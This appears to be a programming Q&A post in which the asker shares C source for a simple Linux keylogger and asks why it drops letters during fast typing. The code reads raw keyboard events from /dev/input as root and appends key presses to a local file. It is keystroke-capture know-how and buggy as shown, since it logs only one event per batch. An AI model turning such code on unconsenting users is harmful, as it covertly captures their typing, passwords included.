title: Reading events from the keyboard device and storing it in a file skips some input
body: <p>I am writing a code for a very simple keylogger. It reads input from the <code>/dev/input/event[0..9]</code> and uses the <code>read()</code> system call to read the inputs done by the keyboard. This input is then redirected to be stored in a log file. </p>
  
  <p>The code is below.</p>
  
  <pre><code>struct input_event ev[64];
  int fd, rd, value, i, size = sizeof (struct input_event);
  char dev_id[32];
  char device[64];
  FILE *f = fopen("/home/student/junk/haris/key_log.txt", "a");
  
  FILE* fpp = popen("grep -E 'Handlers|EV=' /proc/bus/input/devices | grep -B1 'EV=120013' | grep -Eo 'event[0-9]+'", "r");
  fgets(dev_id, sizeof(dev_id), fpp);
  sprintf(device,"/dev/input/%s",dev_id);
  
  for(i=0; device[i] != '\n'; i++)
      ;
  device[i] = '\0';
  
  if ((getuid ()) != 0)
      printf ("You are not root! This may not work...n");
  
  
  if ((fd = open (device, O_RDONLY)) == -1)
      printf ("%s is not a valid device.n", device);
  
  size *= 64;
  
  while (1)
  {
      if ((rd = read(fd, ev, size)) &lt; size)
          exit(0); 
  
      if (ev[1].value == 1 &amp;&amp; ev[1].type == 1) // Only read the key press event
      {
          fflush(f);
          fprintf(f, "%s", key_map[(ev[1].code)]);
      }
  }
  </code></pre>
  
  <p>The last <code>while</code> loop is the main loop where the read happens. <strong>Everything is working fine</strong>.</p>
  
  <hr>
  
  <p><strong>The Problem that i am facing</strong> is when some user types any word too fast, the program is not able to pick up the event of all the key presses. It misses out on some letter when the words are typed too fast.</p>
  
  <p>For instance, if i type the word <code>hello haris</code> very fast in my keyboard, the output in the log file will be <code>hllo hars</code>.</p>
  
  <p><em>I think this error is happening because the loop is taking time to iterate. Before one event can be read and written to the file, the next event is taking place and getting over.</em></p>
  
  <p>Is there any way to optimize the code to not miss any of the events. Or is there any other reason for this.</p>
  
  <hr>
  
  <p><strong>Bonus question</strong></p>
  
  <p><em>The terminal and other devices are able to pick up all the inputs no matter however fast i type, why is that?</em></p>